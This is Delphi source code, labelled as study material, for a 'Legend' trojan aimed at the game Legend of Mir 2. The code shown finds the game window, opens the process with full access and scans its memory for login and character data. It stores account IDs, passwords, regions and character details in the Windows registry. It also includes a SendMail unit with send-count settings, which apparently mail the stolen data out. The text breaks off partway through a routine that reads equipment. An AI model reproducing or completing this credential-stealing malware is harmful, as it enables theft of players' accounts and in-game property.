main.~dpr

传奇木马....delphi版 学习资料

program Main;

uses
  Windows, 
  Reg in 'Reg.pas',
  Other in 'Other.pas',
  SendMail in 'SendMail.pas',
  WinPerf in 'WinPerf.pas',
  Pdh in 'Pdh.pas';

var
  WinClass:TWndClassA;
  Inst,Handle,KeyHook,MouseHook:Integer;
  Msg:TMsg;


	LogoID:array[0..255] of char;//String;
	Str:array[1..19] of array[0..255] of char;
	PWhand:Longint;


  LogoArea:string;
  Filereadok:boolean;
  serverbutton:array of Tpoint;

  sendflag:Boolean=false;   //设置是否发信
  sendmax:integer=3;        //设置发信次数
  sendi:integer=0;

const
  ClassName='TFinalPwS';

{$R cq.RES}
function FGetMem(FindS,Sta_addr,Len_addr:string;Read_len:integer;Flag00_Exit:boolean;
   Flag00_replace:string;Splite:boolean;Splite_count:integer;var HexStr:string;
   var Res_address:integer;baseaddress:string='';len:integer=0):string; //var Len,APos:integer
const FindCount=100;

var hProcId:DWORD;
    nOK	:THANDLE;
    addr:dword;
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    res,tmp,tmp1:string;
    s:array[0..FindCount] of string;
    i,j,y:integer;   //,
    AhWnd :HWND;
    Splite_Mom,Splite_Start:boolean;
    Splite_count1:integer;
begin
  AhWnd :=findwindow(nil,pchar('legend of mir2'));//findwindow(pchar('TfrmMain'),pchar('legend of mir2'));

  HexStr:='';
  result:='';
  y:=0;
  if (AhWnd =0) then exit;


  GetWindowThreadProcessId(AhWnd,@hProcId);
  nOK :=OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE or PROCESS_VM_OPERATION or PROCESS_VM_READ or
                            PROCESS_VM_WRITE,FALSE,hProcId);
  if(nOK =0) then exit;

  nSize:=HexToInt(Len_addr);
  
  for j:=0 to high(buf1) do begin
   
      addr :=HexToInt(Sta_addr)+HexToInt(Len_addr)*j;       // $1180000
	    
    buf1[j]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[j],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础

    if(OK or (nSize<>lpNumberOfBytesRead)) then begin

      s[j]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[j] := s[j] + format('%.2X',[ord(buf1[j][i])]);
      end;
    end;

    FreeMem(buf1[j], nSize);
  end;

  CloseHandle(nOK);


  tmp:='';
  for j:=0 to high(s) do begin
    tmp:=tmp+s[j];
    i:=Pos(FindS,tmp);
    if i>0 then begin
      if j<high(s) then begin
        tmp:=tmp+s[j+1];
        if j+1<high(s) then
          tmp:=tmp+s[j+2];
      end;

  	  i:=i+ Length(FindS);
      tmp:=copy(tmp,i,Read_len);   //Read_len:integer;Flag00_Exit:boolean;Flag00_replace

    	y:=HexToInt(Sta_addr);
      y:=y+HexToInt(Len_addr)*j+((i-1) div 2);
      i:=1;
      res:='';
      Hexstr:=tmp;
      Splite_Mom:=false;
      Splite_Start:=false;
      Splite_count1:=0;

      while i<length(tmp) do begin
        tmp1:=copy(tmp,i,2);
        if tmp1<>'00' then begin
          Splite_Mom:=true;   //第一个不等于00开始
          if Splite and (Splite_count1<Splite_count) and Splite_Start  then begin
            Splite_Start:=false;
            res:=res+'%20%';  //加上分隔
            inc(Splite_count);
          end;
      	  res:=res+chr(HexToInt(tmp1));
        end else begin
          if Splite_Mom then //如果不是第一个就高设置一下,不是00要分隔符'%20%'
            Splite_Start:=true;

        	if Flag00_Exit then
        		break
	        else res:=res+Flag00_replace;//' '
        end;
        inc(i,2);

      end;
      Hexstr:=tmp;
      result:=res;
      break;
    end else begin
      if j<high(s) then
        tmp:=copy(tmp,length(tmp)-Length(FindS)+1,Length(FindS));
    end;
  end;
  Res_address:=y;

end;

function GetMem(AhWnd :HWND;baseaddress:string='';len:integer=0):string;
const FindCount=10;
var hProcId:DWORD;
    nOK	:THANDLE;
    addr:dword;
    eaddr:DWORD ;
    AddAddr:DWORD ;
    buf1:array[0..FindCount] of pchar ;
    OK  :BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    FindS,res,tmp:string;
    s:array[0..FindCount] of string;
    i,j:integer;   //,
begin
  AhWnd :=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
  
  if (AhWnd =0) then exit;


  GetWindowThreadProcessId(AhWnd,@hProcId);
  nOK :=OpenProcess(PROCESS_ALL_ACCESS or PROCESS_TERMINATE or PROCESS_VM_OPERATION or PROCESS_VM_READ or
                            PROCESS_VM_WRITE,FALSE,hProcId);

  if(nOK =0) then exit;
  if len<>0 then begin
  	addr:=HexToInt(baseaddress);
    nSize:=len ;
  	buf1[0]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础

   if ok=true then

    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      
      s[0]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[0] := s[0] + format('%.2X',[ord(buf1[0][i])]);
      end;
    end;
    
    FreeMem(buf1[0], nSize);
 		CloseHandle(nOK);
  

  	tmp:=s[0];
    i:=1;
    res:='';
    while i<length(tmp) do begin
    	res:=res+chr(HexToInt(copy(tmp,i,2)));
      inc(i,2);
    end;
    result:=res;
    exit;
  end;
  
  FindS:='496E646570656E64656E74204269746D61700000006A280000';
 
  AddAddr:=$1800;
  for j:=0 to high(buf1) do begin
    if readvalue(hkey_classes_root,SubMainKey,'WinX')<>'1' then begin    // Not judgesys in [1,2]
	    //2000**************************
	    addr :=$DB0000+AddAddr*j;
  	  eaddr:=$DC0000+AddAddr*j;
  	  
    end else begin
	    //2000**************************
  	  addr :=$1180000+AddAddr*j;
	    eaddr:=$1181800+AddAddr*j;
	    
     end;
    nSize:=eaddr-addr+1;
    buf1[j]:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[j],nSize,lpNumberOfBytesRead); //读取我们保存EDX中的基础

    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      
      s[j]:='';
      for i :=0  to nSize-1 do  begin
        {读取内容}
        s[j] := s[j] + format('%.2X',[ord(buf1[j][i])]);
      end;
    end;


    FreeMem(buf1[j], nSize);
  end;

  CloseHandle(nOK);

  tmp:='';
  for j:=0 to high(s) do begin
    tmp:=tmp+s[j];
    i:=Pos(FindS,tmp);
    if i>0 then begin
      if j<high(s) then
        tmp:=tmp+s[j+1];

  	  i:=i+ Length(FindS);
      tmp:=copy(tmp,i,100);
      i:=1;
      res:='';
      while i<length(tmp) do begin
    	  res:=res+chr(HexToInt(copy(tmp,i,2)));
        inc(i,2);
      end;
      result:=res;
      break;
    end else begin
      if j<high(s) then
        tmp:=copy(tmp,length(tmp)-Length(FindS)+1,Length(FindS));
    end;
  end;
end;

procedure WriteJs(n:integer);
var SubKey:string;
		i:integer;
	function GetStr(str:string;flag:integer):string;
  begin
  	if flag=0 then begin
    	if str='0' then
      	result:='武士'
      else if str='1' then
      	result:='魔法师'
      else if str='2' then
      	result:='道士';
    end else begin
    	if str='0' then
      	result:='男'
      else result:='女';
    end;
  end;
var tmp:string;
begin
  if (n>=5)then begin
  	i:=1;SubKey:='';
    while i<=99 do begin
    	if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
      	SubKey:=inttostr(i);
        break;
      end;
      i:=i+1;
    end;

  	if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) and
    	(ValueExists(hkey_classes_root,SubMainKey,'区域')) then begin
    	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',pchar(readvalue(hkey_classes_root,SubMainKey,'区域')),1);
	    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
  	  addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
    	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar(readvalue(hkey_classes_root,SubMainKey,'SP')),1);
	    //角色1
      tmp:=splite_array[0];
      if copy(tmp,1,1)='*' then
        delete(tmp,1,1);

      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN1',pchar(tmp),1); //名
      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ1',pchar(GetStr(splite_array[1],0)),1); //职

      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD1',pchar(splite_array[3]),1); //等
      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS1',pchar(GetStr(splite_array[4],1)),1); //性

      addvalue(hkey_classes_root,SubMainKey,'JsN1',pchar(tmp),1); //名
      addvalue(hkey_classes_root,SubMainKey,'JsZ1',pchar(GetStr(splite_array[1],0)),1); //职

      addvalue(hkey_classes_root,SubMainKey,'JsD1',pchar(splite_array[3]),1); //等
      addvalue(hkey_classes_root,SubMainKey,'JsS1',pchar(GetStr(splite_array[4],1)),1); //性

  	  {Delvalue(hkey_classes_root,SubMainKey,'ID');
    	Delvalue(hkey_classes_root,SubMainKey,'PW');
      Delvalue(hkey_classes_root,SubMainKey,'区域');
      Delvalue(hkey_classes_root,SubMainKey,'SP'); }
    end;
  	addvalue(hkey_classes_root,SubMainKey,'Flag1','1',1);
  end;
  if n =10 then begin
  	//角色2
    tmp:=splite_array[5];
    if copy(tmp,1,1)='*' then
      delete(tmp,1,1);

    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN2',pchar(tmp),1); //名
    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ2',pchar(GetStr(splite_array[6],0)),1); //职

    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD2',pchar(splite_array[8]),1); //等
    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS2',pchar(GetStr(splite_array[9],1)),1); //性

    addvalue(hkey_classes_root,SubMainKey,'JsN2',pchar(tmp),1); //名
    addvalue(hkey_classes_root,SubMainKey,'JsZ2',pchar(GetStr(splite_array[6],0)),1); //职
    
    addvalue(hkey_classes_root,SubMainKey,'JsD2',pchar(splite_array[8]),1); //等
    addvalue(hkey_classes_root,SubMainKey,'JsS2',pchar(GetStr(splite_array[9],1)),1); //性
  end;
end;

procedure GetZB;
var p:Longint; i:integer;
    SubKey,ServerName,ZB:string;
		ok:boolean;
begin
  	p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
    if p=0 then exit;

    ok:=false;
    ZB:='';
    ServerName:=GetMem(p,'4F7EFD',10);
    addvalue(hkey_classes_root,SubMainKey,'zb1',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb1');
    if length(ServerName)>1 then begin
      ZB:=ZB+'衣服:' +ServerName+',';
      ok:=true;
    end;
    ServerName:=GetMem(p,'4F7F31',10);
    addvalue(hkey_classes_root,SubMainKey,'zb2',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb2');
    if length(ServerName)>1 then begin
      ZB:=ZB+'武器:' +ServerName+',';
      ok:=true;